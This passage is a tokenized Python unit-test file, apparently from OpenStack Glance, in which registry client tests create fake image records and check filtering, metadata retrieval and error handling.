"=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "invalid", "\\u", "marker_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "exception", " ", "is", " ", "raise", "d", " ", "whe", "n", " ", "marker", " ", "is", " ", "invalid", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Invalid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "marker_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "by", "\\u", "base", "\\u", "attribute_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "a", " ", "base", " ", "attribute", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "image_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "with", "\\u", "change", "s", "\\u", "since_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "size", "\\u", "min", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dt", "1_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "-_", "datetime_", "._", "timedelta_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "1_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dt", "2_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "+_", "datetime_", "._", "timedelta_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "2_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dt", "3_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "+_", "datetime_", "._", "timedelta_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "3_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dt", "4_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "+_", "datetime_", "._", "timedelta_", "(_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iso", "4_", "=_", "utils_", "._", "isot", "ime_", "(_", "dt", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "3_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "18_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "destroy_", "(_", "self_", "._", "context_", ",_", "UU", "ID", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UU", "ID", "4_", "=_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "4_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ami", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "20_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "at", "'_", ":_", "dt", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "update", "d\\u", "at", "'_", ":_", "dt", "3_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "a", " ", "standard", " ", "list", ",", " ", "4", " ", "images", " ", "in", " ", "db", " ", "(", "2", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Expect", " ", "3", " ", "images", " ", "(", "1", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "change", "s", "-", "sinc", "e", "'_", ":_", "iso", "1_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "1_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "3_", ")_", "#", " ", "deleted_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Expect", " ", "1", " ", "images", " ", "(", "0", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "change", "s", "-", "sinc", "e", "'_", ":_", "iso", "2_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "images_", "[_", "0_", "]_", "[_", "'", "id", "'_", "]_", ",_", "UU", "ID", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Expect", " ", "0", " ", "images", " ", "(", "0", " ", "delete", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "change", "s", "-", "sinc", "e", "'_", ":_", "iso", "4_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "deta", "il", "s", "\\u", "by", "\\u", "property_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "a", " ", "property", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "p", " ", "a", "'_", ":_", "'", "v", " ", "a", "'_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "filters_", "=_", "{_", "'", "property", "-", "p", " ", "a", "'_", ":_", "'", "v", " ", "a", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "filters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "image_", "in_", "images_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "'", "v", " ", "a", "'_", ",_", "image_", "[_", "'", "proper", "ties", "'_", "]_", "[_", "'", "p", " ", "a", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "bad", "\\u", "filter", "s", "\\u", "with", "\\u", "other", "\\u", "params_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "a", " ", "detailed", " ", "call", " ", "can", " ", "be", " ", "filter", "ed", " ", "by", " ", "a", " ", "property", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "saving", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "new", " ", "name", "!", " ", "#", "123", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "checks", "um", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "'", "p", " ", "a", "'_", ":_", "'", "v", " ", "a", "'_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db", "\\u", "api_", "._", "image", "\\u", "create_", "(_", "self_", "._", "context_", ",_", "extra", "\\u", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "images_", "=_", "self_", "._", "client_", "._", "get", "\\u", "images", "\\u", "detailed", "_", "(_", "filters_", "=_", "None_", ",_", "limit_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "len_", "(_", "images_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "meta_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "the", " ", "detailed", " ", "info", " ", "abo", "ut", " ", "an", " ", "image", " ", "return", "ed", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "id", "'_", ":_", "UU", "ID", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "fake", " ", "image", " ", "#", "2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "meta_", "(_", "UU", "ID", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "iso", "\\u", "meta_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "the", " ", "detailed", " ", "info", " ", "abo", "ut", " ", "an", " ", "ISO", " ", "image", " ", "is", " ", "return", "ed", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "iso", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "iso", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "bare", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "'", "active", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "3", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proper", "ties", "'_", ":_", "{_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image", "\\u", "id_", "=_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "all", " ", "other", " ", "attribute", "s", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", "client_", "._", "get", "\\u", "image", "\\u", "meta_", "(_", "new", "\\u", "image", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "del_", "fixture_", "[_", "'", "location", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "fixture_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equals_", "(_", "v_", ",_", "data_", "[_", "k_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "image", "\\u", "non", "\\u", "existing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "Not", "Foun", "d", " ", "is", " ", "raise", "d", " ", "whe", "n", " ", "getti", "ng", " ", "a", " ", "non", "-", "exist", "ing", " ", "image", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "exception_", "._", "Not", "Found_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "get", "\\u", "image_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "gen", "\\u", "uuid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "with", "out", "\\u", "location", "\\u", "or", "\\u", "raw", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "client", " ", "return", "s", " ", "image", " ", "as", " ", "queue", "d", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "image", "\\u", "meta_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "queue", "d", "'_", ",_", "image", "\\u", "meta_", "[_", "'", "status", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "0_", ",_", "image", "\\u", "meta_", "[_", "'", "size", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Client_", "(_", "base_", "._", "Isolat", "ed", "Unit", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "image", "\\u", "basic_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "image", " ", "metadata", " ", "and", " ", "return", "s", " ", "the", " ", "new", " ", "id", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fixture_", "=_", "{_", "'", "name", "'_", ":_", "'", "fake", " ", "public", " ", "image", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "public", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "disk", "\\u", "format", "'_", ":_", "'", "vhd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "container", "\\u", "format", "'_", ":_", "'", "ov", "f", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "size", "'_", ":_", "19_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "\"", "file", ":///", "tmp", "/", "gla", "nce", "-", "tests", "/", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image_", "=_", "self_", "._", "client_", "._", "add", "\\u", "image_", "(_", "fixture_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "image", "\\u", "id_", "=_", "new", "\\u", "image_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "all", " ", "other", " 